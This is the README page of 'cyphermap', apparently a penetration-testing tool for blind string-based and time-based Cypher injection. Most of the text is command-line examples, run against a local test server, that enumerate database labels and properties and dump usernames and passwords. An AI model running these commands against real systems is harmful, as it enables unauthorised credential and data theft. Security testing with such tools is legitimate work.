Skip to content

Latest commit

 

History

History
46 lines (36 loc) · 1.87 KB

README.md

File metadata and controls

46 lines (36 loc) · 1.87 KB

cyphermap

A tool for mapping cypher databases. It supports string-based blind cypher injection as well as (beta) time-based cypher injection. This is tool is very simplistict but for me it works :) Below are sample use cases.

Blind string-based enumeration

Listing labels:

./cyphermap.py -u "http://127.0.0.1:8001/search" -d "search=a*" -c "session=032bdb4a-9dda-4db7-9b08-6a46df575387;"  -s Sarah -L

Listing all properties in relation to label 'user':

./cyphermap.py -u "http://127.0.0.1:8001/search" -d "search=a*" -c "session=032bdb4a-9dda-4db7-9b08-6a46df575387;"  -s Sarah -P user

Dump key values for property 'username' in relation to label 'user':

./cyphermap.py -u "http://127.0.0.1:8001/search" -d "search=a*" -c "session=032bdb4a-9dda-4db7-9b08-6a46df575387;"  -s Sarah -P user -K username

Dump key values for properties 'username' and 'password' in relation to label 'user':

./cyphermap.py -u "http://127.0.0.1:8001/search" -d "search=a*" -c "session=032bdb4a-9dda-4db7-9b08-6a46df575387;"  -s Sarah -P user -K username,password

Blind time-based enumeration

Listing labels:

./cyphermap.py -u "http://127.0.0.1:8001/search" -d "search=a*" -c "session=032bdb4a-9dda-4db7-9b08-6a46df575387;"  -t 1 -L

Listing all properties in relation to label 'user':

./cyphermap.py -u "http://127.0.0.1:8001/search" -d "search=a*" -c "session=032bdb4a-9dda-4db7-9b08-6a46df575387;"  -t 1 -P user

Dump key values for property 'username' in relation to label 'user':

./cyphermap.py -u "http://127.0.0.1:8001/search" -d "search=a*" -c "session=032bdb4a-9dda-4db7-9b08-6a46df575387;"  -t 1 -P user -K username

Dump key values for properties 'username' and 'password' in relation to label 'user':

./cyphermap.py -u "http://127.0.0.1:8001/search" -d "search=a*" -c "session=032bdb4a-9dda-4db7-9b08-6a46df575387;"  -t 1 -P user -K username,password